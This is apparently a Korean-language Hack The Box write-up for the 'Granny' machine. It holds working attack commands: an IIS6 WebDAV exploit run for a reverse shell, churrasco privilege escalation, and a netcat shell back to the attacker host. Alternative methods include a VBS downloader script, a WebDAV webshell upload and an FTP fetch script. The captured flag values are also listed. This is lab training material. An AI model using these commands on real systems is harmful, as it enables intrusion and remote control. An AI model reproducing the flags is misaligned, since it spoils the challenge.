[HTB] Granny Writeup
Port Scanning
nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.95.234
구글링 결과 어렵지 않게 Reverse Shell Exploit Code를 획득 할 수 있었다.
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell
mv iis6\ reverse\ shell ii6RS.py
python ii6RS.py 10.129.95.234 80 10.10.14.80 1234
하지만, 권한때문에 user.txt와 root.txt를 획득 할 수는 없었다. searchsploit과 구글링을 통해 Windows Server 2003의 Pirvesc 에 대해 공부하다가 churrasco 라는 것을 알게됬다.
https://medium.com/@nmappn/windows-privelege-escalation-via-token-kidnapping-6195edd2660e
[Windows Privelege Escalation via Token Kidnapping]
Uploading binary into box via sqlninga apps
medium.com
churrasco.exe는 아래 경로에서 wget을 통해 다운로드받아도되고, kali에서 sqlninja를 설치하면 포함되어있다.
wget https://github.com/Re4son/Churrasco/blob/master/churrasco.exe?raw=true
apt install sqlninja
cp /usr/share/sqlninja/apps/churrasco.exe ./
churrasco.exe를 통해 명령어를 실행하면, 해당 명령어가 시스템 권한으로 실행되는 방식이다.
이제 중요한점은, churrasco.exe와 nc.exe파일을 서버로 옮겨야 한다는 것이다. kali의 smbserver.py 를 통해서 로컬에서 공유폴더를 열고 타겟 서버에서 로컬의 공유폴더에 접근해 해당 파일을 복사하는 방식으로 파일을 옮겼다.
smbserver.py share .
copy \\10.10.14.80\share\churrasco.exe
copy \\10.10.14.80\share\nc.exe
이제 churrasco와 nc를 통해 시스템 권한의 리버스 쉘을 획득 할 수 있다.
nc -nvlp 4321
churrasco.exe "C:\wmpub\nc.exe 10.10.14.80 4321 -e cmd.exe"
FLAG =
[user] 700c5dc163014e22b3e408f8703f67d1
[root] aa4beed1c0584445ab463a6747bd06e9
-----------------------------------------------------------------------------------------------------------------------------------
기타 풀이
1. vbs script
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript /nologo wget.vbs http://10.10.14.147/churrasco.exe churrasco.exe
2.
/usr/share/webshells/aspx/cmdasp.aspx
curl -X PUT http://10.10.10.15/0xdf.txt -d @cmdasp.aspx
curl -X MOVE -H 'Destination:http://10.10.10.15/0xdf.aspx' http://10.10.10.15/0xdf.txt
3.
python -m pyftpdlib -p 21
echo open 10.10.14.7(kali) 21> ftp.txt&echo USER anonymous >> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET churrasco.exe >> ftp.txt&echo bye>> ftp.txt
ftp -v -n -s:ftp.txt